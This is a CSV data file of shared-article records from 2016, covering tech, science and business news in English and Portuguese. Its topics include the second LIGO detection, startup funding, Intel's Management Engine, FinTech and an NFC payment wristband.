1466020903,CONTENT SHARED,3742318026370211556,-2979881261169775358,7863320336541961270,,,,HTML,http://journals.aps.org/prl/abstract/10.1103/PhysRevLett.116.241103,Second Gravitational Wave Detected at LIGO,"We report the observation of a gravitational-wave signal produced by the coalescence of two stellar-mass black holes. The signal, GW151226, was observed by the twin detectors of the Laser Interferometer Gravitational-Wave Observatory (LIGO) on December 26, 2015 at 03:38:53 UTC. The signal was initially identified within 70 s by an online matched-filter search targeting binary coalescences. Subsequent off-line analyses recovered GW151226 with a network signal-to-noise ratio of 13 and a significance greater than . The signal persisted in the LIGO frequency band for approximately 1 s, increasing in frequency and amplitude over about 55 cycles from 35 to 450 Hz, and reached a peak gravitational strain of . The inferred source-frame initial black hole masses are and , and the final black hole mass is . We find that at least one of the component black holes has spin greater than 0.2. This source is located at a luminosity distance of corresponding to a redshift of . All uncertainties define a 90% credible interval. This second gravitational-wave observation provides improved constraints on stellar populations and on deviations from general relativity. DOI: This article is available under the terms of the Creative Commons Attribution 3.0 License . Further distribution of this work must maintain attribution to the author(s) and the published article's title, journal citation, and DOI. Published by the American Physical Society",en
1466024621,CONTENT SHARED,7276478113479207148,-1443636648652872475,6340331642204025925,,,,HTML,http://techcrunch.com/2016/06/15/leonardo-dicaprio-barry-sternlicht-back-qloo-a-cultural-recommendation-engine/,"Leonardo Dicaprio, Barry Sternlicht back Qloo, a cultural recommendation engine","Qloo Inc. closed a $4.5 million Series A round of venture funding to support the growth of its cultural recommendation engine. Investors included: Academy Award-winning actor Leonardo DiCaprio; Starwood Hotels founder Barry Sternlicht; Pierre Lagrange of GLG Partners; and Adriaan Ligtenberg's AllMobile Fund, along with other individual angel investors. According to the startup's co-founder and CEO Alex Elias, New York City-based Qloo combs through proprietary and open source data online to learn about consumers' preferences, and how their tastes correlate across eight major categories: music, film, television, dining, nightlife, fashion, books and travel. The cultural correlations can sometimes surprise marketers. Here's an example Qloo shared with TechCrunch. Tomorrow, the Cleveland Cavaliers will face off against the Golden State Warriors in game 6 of the NBA Finals in Ohio. Sponsors and advertisers spend a lot to get their products in front of the basketball championship audience. So they don't want to alienate one team's fan base while appealing to the other. So what do Cavs and Warriors fans have in common? A love of Pizza, Sports Center and Empire on TV, and fashion brands Nike and Adidas. Otherwise, their tastes differ on everything from their favorite recording artists to their favorite films. In music today, Cavs fans are into Lil Wayne, Usher and Wiz Khalifa, Qloo reports. Warriors fandom is more strongly correlated with a love of Mac Dre, Tyga and Drake. In film, Cavaliers fans love Will Smith and Megan Fox, while Warriors fans prefer Kevin Hart and Jennifer Hudson. Besides helping marketers find the common ground between disparate groups they want to reach, Qloo offers developers an API that can power ""if you like this, try that"" features within different apps or websites they've built. Elias said that hotels have used Qloo to provide digital concierge services, e-commerce businesses have used Qloo to get customers to look at new products, and media and entertainment companies have used Qloo to guide choices on location, casting and soundtracks. Generally, the company makes revenue as a provider of business intelligence to marketers who are trying to determine what their existing customers do and do not like, and how to connect with new prospects. But Qloo also operates a standlone app of its own, which helps users find new content they may enjoy or restaurants to try. But Elias says the app is mostly a way to show off what a cultural recommendation engine can do. The new Series A funding brings the company's total capital raised to $7.5 million in total. Qloo's earlier seed investors included, among others, Cedric Kyle (a.k.a Cedric the Entertainer) and Tommy Thompson founding partner of Cross Creek Pictures. Qloo investor Adriaan Ligtenberg said he invested in Qloo because, ""They were one of the early companies that realized the value of collecting and analyzing big data for culture and entertainment. AI companies allow big data driven business decisions, the insights gained are valuable, for either opening new or optimizing revenue streams."" He expects Qloo to use its funding to increase the size and depth of their database, and win over new corporate clients. Qloo's CEO said the company is interested in expanding within hotels and resorts, restaurants, media and entertainment, and even seeks to become a part of connected cars, especially helping automakers deliver personalized recommendations in a navigation or entertainment system.",en
1466028916,CONTENT SHARED,3492139128548911513,-1032019229384696495,-5537786999103108189,,,,HTML,https://techcrunch.com/2016/06/15/pinterest-acquires-the-team-behind-fleksy-a-custom-ios-and-android-keyboard/,"Pinterest acquires the team behind Fleksy, a custom iOS and Android keyboard","We haven't heard much from Fleksy - one of a number of custom keyboards for Android and iOS - lately, and it seems we may have an answer why: it's been acquired by Pinterest. But it isn't a total product acquisition. While the app will continue running (with minimal updates) for the forseeable future, half of the team will be integrated into Pinterest's product engineering team, the company said. So while there have been a bunch of successful custom keyboards - including SwiftKey, which Microsoft bought for $250 million - it just goes to show how hard the space is, especially with Apple and Google working to expand their keyboards' capabilities. Fleksy was an early entry to the iPhone's custom keyboards, launching after finally Apple gave developers the opportunity to install keyboards on the iPhone after holding out for years - and letting Google get a potential leg up with better input experiences than the traditional iPhone keyboard. SwiftKey saw that opportunity on Android, making it a popular paid app on Android devices and eventually turning into a $250 million exit. Keyboards have become an increasingly important battleground for even the largest companies because they literally control the experience of how users input information into any communication app, whether that's Facebook Messenger or iMessage. But it's also a challenging space, with the phone creators beginning to throw a lot of resources at development. Fleksy raised a little over $7 million, with the most recent $2 million financing round happening in October last year - shortly after Apple opened up the keyboard to developers. The team behind Fleksy also seems like a smart buy for Pinterest. These kinds of smart keyboards require a mastery of data capture and mining, such as understanding how people are actually tapping their phones to determine which keys are actually being pressed. Following the acquisition, Pinterest and Fleksy will open source the application. That will give developers a launching point if they also decide they want to figure out new ways for people to input information into their phones.",en
1466030828,CONTENT SHARED,2124033843135988844,-1032019229384696495,-5537786999103108189,,,,HTML,http://www.mymodernmet.com/profiles/blogs/dorota-pankowska-13-animals-made-from-13-circles,Designer Creates 13 Perfect Circles to Draw Almost Any Animal,"Everyone's favorite blue bird-the Twitter logo-has a well-kept secret hidden in its design: the iconic character was created using 13 perfect circles that overlap and comprise its graceful curved wings and upward gaze. Inspired by this little-known fact, Toronto-based art director Dorota Pankowska gave herself a similar challenge: produce 13 different animals each constructed out of 13 circles.",en
1466043770,CONTENT SHARED,4894993979681787098,-5264754785175108362,6914571392483725291,,,,HTML,http://g1.globo.com/sp/campinas-regiao/noticia/2016/06/inovacao-em-setores-da-industria-e-tema-de-forum-na-unicamp-no-dia-17.html,Inovação em setores da indústria é tema de Fórum na Unicamp no dia 17,"O Centro de Convenções da Unicamp, em Campinas (SP), recebe no dia 17 de junho, das 8h30 às 12 horas, o Fórum Políticas de Inovação em Setores Maduros - uma visão comparativa entre Estados Unidos e Brasil. O professor Bill Bonvillian, do Instituto de Tecnologia de Massachusetts (MIT), é o responsável pela palestra ""Technological Innovation in Legacy Sectors"", que fará parte do Fórum. Segundo André Furtado, professor do Instituto de Geociências (IG) da Unicamp e um dos organizadores do evento, refletir sobre a necessidade de se repensar os modelos de inovação e de política de inovação em setores maduros é o foco do Fórum Políticas de Inovação em Setores Maduros. A participação dos setores tradicionais na indústria de transformação do Brasil é de 94%. No entanto, as políticas de inovação para esse setor focam em tecnologias dominantes dessa indústria. Para Bill Bonvillian, essa tendência limita a variedade tecnológica, principalmente, nos setores que se situam na fronteira tecnológica. ""A sociedade teria muito a ganhar se soubesse equilibrar o desenvolvimento dos setores que estão na fronteira tecnológica, como o de biotecnologia e de tecnologias da informação, com os setores maduros da agricultura, indústria e serviços que dão sustentação à economia e aos empregos"", afirma Bonvillian. Outros participantes do evento serão Nicholas Vonortas, professor da George Washington University, e Mariano Laplane, presidente do Centro de Gestão e Estudos Estratégicos (CGEE) e professor do Instituto de Economia (IE) da Unicamp, que debaterão as questões trazidas pelo professor Bonvillian. As palestras serão em inglês. Dia : 17 de junho de 2016. Horário : das 8h30 às 12h00. Local : Auditório do Centro de Convenções da Universidade Estadual de Campinas. Endereço : Rua Elis Regina, 139, Cidade Universitária, Campinas (SP).",pt
1466074402,CONTENT SHARED,7029834616968294970,-2979881261169775358,3189263125721890035,,,,HTML,http://nautil.us/blog/copyrighting-dna-is-a-bad-idea,Copyrighting DNA Is a Bad Idea,"A few years ago, molecular biologists Jennifer Doudna and Emmanuelle Charpentier, along with a team of researchers at the University of California, Berkeley, were the first to file a patent for CRISPR-Cas9. It's a DNA-editing technology adapted from the prokaryote immune system. Cas9 is a protein that can seek out and ""cut"" targeted gene strands with unprecedented ease and precision, allowing for customizable DNA. ""It could allow us to cure genetic disease,"" Doudna recently told an audience at a TED conference, in London. But half a year after her and Charpenteir's patent claim, another group, with ties to the Massachusetts Institute of Technology and Harvard, filed an expedited claim and ended up winning the patent the next year. Feeling cheated, the Doudna and Charpentier team requested the U.S. Patent Office investigate both parties' claims. The ensuing legal battle, which began this January, has tremendous implications. Whoever owns CRISPR, in many ways, controls gene-editing technology and the hundreds of millions of dollars in profits it promises. But in the midst of this debate, perhaps a more fundamental one is taking place-whether some of CRISPR's future products, like customized DNA, qualify as copyrightable entities. Chris Holman, a professor at the University of Missouri Law School, says they do, just like works of art, literature, and software. ""The law has come to accept a coded set of instructions as a copyrightable 'literary work,'"" he says. ""An engineered DNA sequence is likewise a set of written instructions directed toward a [biological] machine, which directs that machine to perform a series of functions."" If a computer program is a ballad written in binary, it seems, then engineered DNA is a quatrain in nucleotides. But Dan Burk, a professor of intellectual property law at the University of California, Irvine, disagrees. ""Courts struggled for 25 years to find code-related things that were applicable under copyright. Finally, they gave up,"" says Burk. ""If you adopted Holman's analogy and tried to put DNA into the copyright system, I'd expect the same results: One, you wouldn't get adequate legal protection; two, it would be a headache to figure out for the courts; and three, copyright protections last really long-120 years-which is another reason it's a bad idea for something like DNA. Why would you want to put a 120-year term on something changing really fast?"" Nautilus caught up with Burk to chat about how U.S. law is trying to make sense of the rapidly advancing field of gene editing. Should DNA sequences be patented? The Supreme Court said genetic sequences that could come out of a cell aren't eligible to patents, because they're too similar to what occurs in nature. On the other hand, they said that synthetic types of sequences created in a laboratory, cDNA sequences, are eligible for patents. You have to show that it's new, useful, has some utility, and most importantly, that it's somehow inventive-a step forward from the technology that you had in the past. Then you're entitled to a patent that lasts 25 years. What's happening with CRISPR, and what's happened in the past with other biological tools, is that researchers are seeking patents over basic materials. They discovered something that happens in nature, proteins that guide the basic tools that enable you to do basic editing. They'll try to get a patent on the process. That's the most fundamental thing. That's what the current patent fight is about. Then, presumably, they'll license that, and make it available to researchers who want to do the editing. The sky's the limit with basic tools. It's like patenting a hammer. What will people build with it? Some cool stuff. Should some of that cool stuff, like customized DNA, be copyrighted? The strongest case that could be made for it, which a couple of people resurrected recently, is that Congress made a decision around 1978 that we should put software in the copyright system. But that was a complete disaster. Copyrights are intended for artistic works, things that are aesthetic, not things that are functional like software-a machine built out of text, or code. What brought Congress to bring it under copyright is the argument that code is like a literary work, along with novels and poems. The reality is, it's not. You don't write code to be beautiful, you write it to be functional. Some programmers talk about code that's elegant. You really write code so it uses the least amount of memory, and is efficient. Somebody recently said to my friend Pam, ""Let's put synthetic biology into the copyright act."" She did a face palm: ""Oh god, please not again. It took us 25 years to figure out the software thing."" If not copyright law, then what? Petty patents. The petty patent is a level lower than the patent; it's faster, you don't have as long of a protection period. If you're in an area that's changing very rapidly, like software, it makes sense to have petty patents-except they've been tried a couple of times in the past, and it's been a disaster. The poster child was the semiconductor chip protection act, (SCPA), which Congress passed in the late '80s. The government created a law specifically crafted for the industry of semiconductor design, a variation on copyright law. That's still on the books. It was passed in '87 or '88, and since that time, there have been two recorded cases of somebody enforcing their rights under that law. [Laughs.] Why so few cases? Even before the president signed the bill into law, the technology was obsolete. Nobody uses it anymore. There's nothing to steal. That's why patent law, as opposed to copyright, works well; it is a general statute that protects any kind of innovation. The danger of creating a new form of intellectual property law is that in five years, ten years, especially in a fast-moving field, it won't be relevant anymore. Congress can't foresee where the technology is going to go. You can already see that's probably the case with biotechnology. Nobody expected CRISPR was going to happen five years ago. People always tend to fall back on the patent system. That's what they're doing now. Is there any legal sanction on creating genetically superior humans? You know, there is and there isn't. Let's start with something that's not very controversial. Suppose you could use current technology or maybe the new gene-editing technology to help diabetics. They don't produce insulin, so you could put a new insulin gene into their cells. There are big ethical questions surrounding that. It's not quite as ethically questionable if you do it in somatic cells, non-gametes. You still have to go through regulatory requirements, but it's more like giving people medicine. If you want to change things at the gametic level-zygotes, eggs-that's more controversial, because it's changing people in ways that will affect subsequent generations. But it's not actually illegal in the United States. You could do it in a private lab, if you had enough money, theoretically. I mean, Trump could be doing it somewhere, with his own money. Susie Neilson is an editorial fellow at Nautilus. Follow her on Twitter @schmeilson .",en
1466075144,CONTENT SHARED,-8120372343967636100,-2979881261169775358,3189263125721890035,,,,HTML,http://boingboing.net/2016/06/15/intel-x86-processors-ship-with.html,Intel x86s hide The Intel Management Engine (ME),"Recent Intel x86 processors implement a secret, powerful control mechanism that runs on a separate chip that no one is allowed to audit or examine. When these are eventually compromised, they'll expose all affected systems to nearly unkillable, undetectable rootkit attacks. I've made it my mission to open up this system and make free, open replacements, before it's too late. The Intel Management Engine (ME) is a subsystem composed of a special 32-bit ARC microprocessor that's physically located inside the chipset. It is an extra general purpose computer running a firmware blob that is sold as a management system for big enterprise deployments. When you purchase your system with a mainboard and Intel x86 CPU, you are also buying this hardware add-on: an extra computer that controls the main CPU. This extra computer runs completely out-of-band with the main x86 CPU meaning that it can function totally independently even when your main CPU is in a low power state like S3 (suspend). On some chipsets, the firmware running on the ME implements a system called Intel's Active Management Technology (AMT). This is entirely transparent to the operating system, which means that this extra computer can do its job regardless of which operating system is installed and running on the main CPU. The purpose of AMT is to provide a way to manage computers remotely (this is similar to an older system called ""Intelligent Platform Management Interface"" or IPMI , but more powerful). To achieve this task, the ME is capable of accessing any memory region without the main x86 CPU knowing about the existence of these accesses. It also runs a TCP/IP server on your network interface and packets entering and leaving your machine on certain ports bypass any firewall running on your system. While AMT can be a great value-add, it has several troubling disadvantages. ME is classified by security researchers as ""Ring -3"" . Rings of security can be defined as layers of security that affect particular parts of a system, with a smaller ring number corresponding to an area closer to the hardware. For example, Ring 3 threats are defined as security threats that manifest in ""userspace"" mode. Ring 0 threats occur in ""kernel"" level, Ring -1 threats occur in a ""hypervisor"" level, one level lower than the kernel, while Ring -2 threats occur in a special CPU mode called ""SMM"" mode. SMM stands for System-Management-Mode, a special mode that Intel CPUs can be put into that runs a separately defined chunk of code. If attackers can modify the SMM code and trigger the mode, they can get arbitrary execution of code on a CPU. Although the ME firmware is cryptographically protected with RSA 2048, researchers have been able to exploit weaknesses in the ME firmware and take partial control of the ME on early models. This makes ME a huge security loophole, and it has been called a very powerful rootkit mechanism . Once a system is compromised by a rootkit, attackers can gain administration access and undetectably attack the computer. On systems newer than the Core2 series, the ME cannot be disabled. Intel systems that are designed to have ME but lack ME firmware (or whose ME firmware is corrupted) will refuse to boot, or will shut-down shortly after booting. There is no way for the x86 firmware or operating system to disable ME permanently. Intel keeps most details about ME absolutely secret. There is absolutely no way for the main CPU to tell if the ME on a system has been compromised, and no way to ""heal"" a compromised ME. There is also no way to know if malicious entities have been able to compromise ME and infect systems. A large portion of ME's security model is ""security through obscurity"", a practice that many researchers view as the worst type of security. If ME's secrets are compromised (and they will eventually be compromised by either researchers or malicious entities), then the entire ME security model will crumble, exposing every recent Intel system to the worst rootkits imaginable. Around 2013, we figured out some of the nitty-gritty details regarding how the ME firmware was packaged up into a blob. The ME firmware is verified by a secret boot ROM embedded in the chipset that first checks that the SHA256 checksum of the public key matches the one from the factory, and then verifies the RSA signature of the firmware payload by recalculating it and comparing to the stored signature. This means that there is no obvious way to bypass the signature checking, since the checking is done by code stored in a ROM buried in silicon, even though we have the public key and signature. However, there still might be an exploitable bug in the ROM bootloader. We also discovered that the critical parts of the ME firmware are stored in a non-standard compressed format, which gets decompressed by a special hardware decompressor. My initial attempts to brute-force the decompression scheme failed miserably. Another group had better success and they have now completed a working decompression routine for all versions of ME up to but not including version 11. Kudos to them! Our goal is to implement a completely libre software replacement for ME . When the implementation of such a security-critical component is available for scrutiny, it will be peer-reviewed and audited by persons around the world. This generally results in stronger security. Our goal isn't to replace Intel's ME, but to provide a minimal libre alternative firmware for users who choose to use it. Unfortunately, since the firmware is protected by RSA 2048, we currently have no way to execute our own code on the ME hardware because it fails validation. We have no way to move forward, even if we wanted to. This is scary. Most digital handcuffs are so easy to break that it's not an issue how to break it, more so an issue of the penalty one might face for actually breaking it. In this case, it is impossible to break unless you have a way to factorize semi-primes with approximately 600 decimal digits in a reasonable time. (At the time of writing this article, pretty much impossible in one human lifetime for anyone with the biggest supercomputer). So in conclusion, Intel has so far stopped anyone from tinkering with ME firmware in practice, and there is no way to trust the code running on your ME because it's proprietary. So we are back to the days of the Sony Playstation, but for general purpose computers based on Intel x86. Matters only get worse now that Intel has squeezed a whole system into a chip, SoCs. We have no physical separation between the components that we can trust and the untrusted ME components, so we can't even cut them off the mainboard anymore. Below is a highly simplified diagram describing how some of the older ME hardware fits into a system: Personally, I would like if my ME only did the most basic task it was designed for, set up the bus clocks, and then shut off. This way, it would never be able to talk out of the network card with some of my personal data. I refer to the ME as the Damagement Engine, since it is a hardware add-on that damages your security. ( Banner: PIC12C508-HD , ZeptoBars, CC-BY; Diagram, CC0 )",en
1466078818,CONTENT SHARED,-5322047011520469406,3609194402293569455,5966232930511742135,,,,HTML,http://spectrum.ieee.org/computing/networks/the-democratization-of-innovation-for-the-internet-of-things,The Democratization of Innovation for the Internet of Things,"It seems we are in a perpetual waiting game for the so-called Internet of Things (IoT) to become a reality. Despite this wait, if the IoT is realized in a way that all the electronic devices we use today-and maybe some that haven't been invented yet- are be able to communicate in a vast network, it could enable an optimization of resources that will be such a game-changer that noted economic and social theorist, Jeremy Rikfin , has suggested that it will represent the next industrial revolution. While such a network is beginning to take shape, what remains to be done to make it a fully-realized reality represents such a vast engineering challenge that it will likely exceed the cumulative capabilities of all the tech giants and will require the input of some innovative engineers and entrepreneurs to develop new solutions. Aware of this new paradigm for innovation, Indiegogo, the global platform for entrepreneurs to realize their concepts, and Arrow Electronics , a global distributor of electronic components and computer products, have joined forces to make it easier for engineers and would-be entrepreneurs to create the innovations that will enable the IoT. The partnership involves Arrow combining its design and production platform with Indiegogo's crowdfunding engine. This combination will make it possible for qualified Indiegogo entrepreneurs to gain direct access to Arrow's design tools , engineering experts, prototype services, manufacturing support and even supply chain management-a package of benefits that Arrow has valued at $500,000. The qualification process for the Indiegogo campaigns will involve Arrow evaluating their technical feasibility, manufacturability and overall impact. Pretty much the kind of scrutiny an entrepreneur might expect from any angel investor who was thinking of investing in an early-stage technology. The difference would be that there would not only be money involved, but also technical guidance and know-how added to the equation. ""This is a completely new model of social funding, innovation and production in the technology and IoT space,"" said Matt Anderson, Arrow's chief digital officer, in a press release. ""Crowdfunding has never before been integrated into a fully scaled innovation platform like this that spans collaborative online design, prototype support, production and supply chain management. The Arrow-Indiegogo collaboration will enable successfully crowdfunded companies to scale faster than ever before to bring their products to market."" In addition to the design support package, Arrow will be sweeting the deal for qualified entrepreneurs with discounts on bill of materials and technology-design software. And, if the new company has concerns about marketing its new technology in the myriad options available in the IoT, Arrow will be featuring the technology on its website and its technology-focused media network. This last marketing part of the package seems to address what is often overlooked in technology innovation: the business side of commercializing a technology . When an engineer develops a solution to an issue that needs to be addressed in the IoT, they are not only competing to develop the best technology but are also looking a way to get that solution to market. While a broad marketing platform is not the only concern for an engineer embarking into the world of entrepreneurship, it is certainly one that many overlook and any help in getting the word out may make the difference.",en
1466080328,CONTENT SHARED,-5193720747719231594,5660542693104786364,198317129607530326,,,,HTML,http://thefinanser.com/2016/06/fintech-human-centred-design.html/,#FinTech is all about human-centred design - Chris Skinner's blog,"As you can tell, I found the White House meeting so interesting that I'm gonna bore you about it all week. Today is the turn of how FinTech can make us live smarter, better and more informed lives. That theme resonates as Moven's strapline is to spend, save and live smarter (guess who came up with that phrase?), and this panel spent an hour talking about how FinTech is improving the financial health of the nation. From left to right: Jason Furman, Chairman, the Council of Economic Affairs (moderator); Chris Carroll, Professor of Economic, John Hopkins University; Quinten Farmer, Co-Founder, Even; Rob Lavet, General Counsel, SoFi; Ida Rademacher, Executive Director, Financial Security Program, The Aspen Institute; Jon Stein, Founder and CEO, Betterment A theme throughout the panel discussion was a very domestic rule change that may be about to preclude third parties accessing bank data via screen scrapes or APIs. So who owns the data: the customer or the bank? That's clearly a hot topic issue being debated in the USA right now. In Europe, PSD2 forces banks to open up customer data through third parties, but hey, the EU believes the customer should be in control of their own financial health and data. The US believes the same, and the concern that some of the panellists had - particularly Chris Carroll of John Hopkins University - is that banks can use the excuse of security to lockout anyone from accessing customer data, other than the customer. If that were to happen, he felt it would be ""a disaster as it would kill much FinTech"". Maybe. Certainly the loss of any account aggregation facilities would not be good news for Yodlee and co. Equally, it would provide added protection for the incumbent banks, where ""the one form of life that the financial regulation will leave is the dinosaur"". Chris felt that this was the asteroid in the room, as it will kill fintech. A member of the audience asked a question about this, stating that Section 1033 of Dodd Frank requires Open Data and wondering why the Consumer Financial Protection Bureau (CFPB) is not enforcing it? Chris responded by stating that the CFPB is the first new government agency to be created in decades, and has risen from zero staff to over 1,500 in just five years. Their challenge, as mentioned earlier this week, is that there are millions of words in Dodd-Frank - about 15 million to be exact - that need to be enforced, and the CFPB just cannot keep up with and do all of them. He felt sure they would come back to it and push to create data standards, but the question seemed to be where and when and whether it might be too late. This exchange was intriguing as it was mentioned that JPMorgan Chase stopped sharing data with Mint and are vigorously lobbying for Congress to shut data sharing down. Rob from SoFi agreed, and said that if banks lockout FinTech firms and others from customer data, then this could be a franchise ending scenario. In SoFi's case credit reports have so much personal information they need access to that they couldn't do their job without them. Rob felt that an API to access details of the government's form 4506T, an Internal Revenue Service (IRS) document that is used to retrieve past tax returns, would make it far easier for unsecured loans as you can do most of credit analysis from that data. Jon agreed, saying that just by getting a scan of someone's tax return allows Betterment to come up with a specific investment plan and advisory note for that person. Jon was interesting as he also talked about robo-advisors, and said that he does not see this as a battle between robots and humans but as a battle between advice and nothing. There is no decent advice out there in general for people to learn how to save and how much is needed for retirement and so the robo advisors are there, like self-driving cars. Self-driving cars provide faster, safer and better journeys, we are taking people faster, safer and better financially. Editor's note: Betterment are apparently launching in the UK soon . Rob from SoFi built on this theme, saying that SoFi only exists because banks fear refinancing a federal loan into a securitised loan and, for this reason, we need better regulation because many of the rules were written before the Internet existed. He did mention that SoFi couldn't be in business without banks, as it is the banks who provide their financing to securities those loans. Equally, from loans and robo-advice, SoFi and Betterment are both looking at better customer information, such as add-on services that offer advice. The area cited was to provide career advisory information to help people find work after losing their job. Ida (the Aspen Institute) made an interesting point here that FinTech startups are generally solving problems in finance, because they are their own problems they are trying to solve. This reminded me of Ollie Purdue, who recently founded Loot in the UK . Loot is a bank for students and under 35 year olds, and is growing rapidly. According to Ollie, they are signing up customers at a cost of £1 a customer, as it's all viral and social, and the bank is getting funding. Ollie is 22 himself - a young entrepreneur - and was a law student at Manchester University. He dropped out of Uni to create a bank. I asked him why? And he gave me a great answer which I paraphrase here: I was at University and just got fed up with the fact my bank app only told me what I had spent. I needed to know what I was going to spend as my problem was could I afford to do this, not if I do this you tell me tomorrow that I shouldn't have. In other words banks, due to their transition from branch ledger systems to internet to mobile, are just reflecting an old debit and credit system that used to be used in branch and was moved onto an internet access and now a mobile screen. That old debit and credit branch ledger system is just tracking payments in and out. It provides no forecasting, analytics or information. Just a record of what happened. Now, with PFM (Personal Financial Management) tools, some banks are enriching that record of transactions with some supplementary information but the idea of safe to spend and here's what's coming is pretty hard to put into a 1980s (or older) branch ledger system. What is even more amazing about Ollie's and other FinTech stories is that they just don't see the problems us old boys believe exist in banking. The old boys see barriers to entry, regulations, KYC, complexity; the new kids on the block just see opportunity. Ollie's story about dropping out of university to create a bank reminded me of Niklas Adalberth's story when he co-founded Klarna: We also had one other big benefit, and that was that we had no previous banking or payment expertise. My expertise or experience came from flipping burgers at Burger King. That's all the knowledge I had when we started this business. This was a good thing because it made us rethink everything. For example, we knew immediately that we could not base this on the normal card scheme standards, as these had been designed from the 1970s or before. They do not work on the internet. So FinTech firms solve problems that millennials find frustrating with finance and then the first people who use their products are family and friends. This, according to many of the start-ups, is what makes it easy to spot what works and what doesn't work. As a result, the FinTech start-ups not only solve problems they want to solve for themselves, but base the core of their developments around human centred design. It's just seeing what people are actually doing and building from there. The beauty of this is that most financial technology until now has been built by technology firms and software houses to sell to bank decision makers. It has had little human centred design at its heart, because it wasn't built for customers. It was built for internal bank efficiency. Like with social media, today's open sourced technologies are allowing FinTech firms to develop financial services completely focused upon the customer, with user experience at the forefront based upon human-centred design. Don't ya just love that? See Digital is all about the people for more.",en
1466082624,CONTENT SHARED,319340024738595907,4670267857749552625,7965979047714660786,,,,HTML,http://www.webmotors.com.br/comprar/mitsubishi/asx/2-0-4x4-awd-16v-gasolina-4p-automatico/4-portas/2013-2014/17115683,MITSUBISHI ASX 2.0 4X4 AWD 16V GASOLINA 4P AUTOMÁTICO - WebMotors - 17115683,"Opcionais Airbag, Alarme, Ar condicionado, Ar quente, Banco com regulagem de altura, Bancos dianteiros com aquecimento, Bancos em couro, CD e MP3 Player, CD Player, Computador de bordo, Controle automático de velocidade, Controle de tração, Desembaçador traseiro, Direção hidráulica, Encosto de cabeça traseiro, Freio ABS, Limpador traseiro, Rádio, Retrovisores elétricos, Rodas de liga leve, Sensor de estacionamento, Tração 4x4, Travas elétricas, Vidros elétricos, Volante com regulagem de altura Observações do vendedor IPVA pago, Licenciado, Não aceita troca, Todas as revisões feitas pela concessionária Carro super novo,sou o segundo dono,excelente procedência!!",pt
1466085854,CONTENT SHARED,-2213320166727371491,-2979881261169775358,3189263125721890035,,,,HTML,http://www.apple.com/macos/sierra-preview/,MacOS Sierra Preview,"What can your Mac do now? Just ask. Siri makes its debut on Mac, with new capabilities designed just for the desktop. And that's not the only way your Mac is smarter. macOS Sierra helps you rediscover your best photos, shop more securely online, and work more seamlessly between devices. It can also help free up valuable storage space. Now your Mac does even more for you, so you can do more with your Mac. Coming this fall",en
1466088853,CONTENT SHARED,8129909026510620711,-1443636648652872475,-1266236367632757460,,,,HTML,http://venturebeat.com/2016/06/16/google-creates-new-european-research-group-to-focus-on-machine-learning/,Google creates new European research group to focus on machine learning,"Google announced today that it was expanding its largest non-U.S. engineering center as part of a growing bet on machine learning to enhance its products. The new Machine Learning Research Group will be based in Zurich, Switzerland, already Google's largest research center outside the U.S. The company did not say specifically how many positions will be added. But in a blog post, Google executives said machine learning has become critical to its development efforts across a wide range of its services. ""Google's ongoing research in Machine Intelligence is what powers many of the products being used by hundreds of millions of people a day - from Translate to Photo Search to SmartReply for Inbox ,"" wrote Emmanuel Mogenet, head of Google Research in Europe. Indeed, the Zurich research center has already been making a sizable impact on Google. Researchers there had a hand in developing the engine that's behind Google's Knowledge Graph and the conversation that drives the recently announced Google Assistant in Allo . Mogenet wrote that the new research group will focus on machine intelligence, natural language processing, and machine perception. Get more stories like this on Twitter & Facebook Google's innovative search technologies connect millions of people around the world with information every day. Founded in 1998 by Stanford Ph.D. students Larry Page and Sergey Brin, Google ... All Google news """,en
1466093859,CONTENT SHARED,-3915769742442748515,-2979881261169775358,3189263125721890035,,,,HTML,http://arxiv.org/abs/1606.04474,Learning to learn by gradient descent by gradient descent,"Abstract: The move from hand-designed features to learned features in machine learning has been wildly successful. In spite of this, optimization algorithms are still designed by hand. In this paper we show how the design of an optimization algorithm can be cast as a learning problem, allowing the algorithm to learn to exploit structure in the problems of interest in an automatic way.",en
1466112806,CONTENT SHARED,-9019582414165805420,-1799631734242668035,-3130580864866225113,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/bradesco-e-visa-anunciam-pulseira-que-substitui-cartao,Bradesco e Visa anunciam pulseira que substitui cartão | EXAME.com,"São Paulo - Você não vai mais precisar do seu cartão bancário para realizar pagamentos no débito no futuro. Ao menos, é isso que a Visa e o Bradesco querem e, por isso, anunciam hoje uma pulseira de pagamentos que funciona em diversos terminais comuns em pontos de vendas. O aparelho é chamado Pulseira Bradesco Visa e realiza a transferência monetária via NFC, uma tecnologia de comunicação por proximidade que troca dados criptografados com a maquininha de débito. O novo gadget de pagamentos será testado no Brasil durante as Olimpíadas do Rio. No país, mais de um milhão e meio de pontos de vendas têm suporte ao NFC, incluindo todos os 4 mil terminais nos Parques Olímpicos. ""O cartão vai migrar para uma série de outros fatores, para o e-commerce, o mobile commerce, o contactless e para os wearables"", afirmou Percival Jatobá, vice-presidente de produtos da Visa. O processo de transferência com a pulseira em nada se difere de um realizado com um cartão de plástico com chip, segundo as empresas. Na hora de pagar, o consumidor encosta o gadget na maquininha e digita sua senha, caso sua compra exceda o valor de 50 reais. Em compras de menos de 50 reais, não é preciso informar a senha do seu cartão. A pulseira é uma solução útil para quem quer sair para correr e não quer levar o smartphone, cartões ou dinheiro. Maleável e com encaixe de dois pontos, o acessório tem design confortável para o uso diário, apesar de apenas uma cor, a azul, estar disponível nessa fase inicial. A recarga será feita por meio de um aplicativo para smartphones Android e iOS, que é chamado Pulseira Bradesco Visa. É possível transferir o dinheiro via boleto ou qualquer cartão bancário. O consumidor tem um número de ID e cartão viculados à sua conta na pulseira, mas não é preciso ter conta no banco Bradesco para usar o acessório. Neste primeiro momento, cerca de 3 mil pessoas selecionadas irão testar a Pulseira Bradesco Visa. O intuito é que elas ofereçam informações de usabilidade que serão analisadas para um lançamento mais amplo do produto. A pulseira de pagamentos ainda não tem previsão de ser oferecida a todos. Confira abaixo uma breve demosntração de um pagamento realizado com a Pulseira Bradesco Visa.",pt
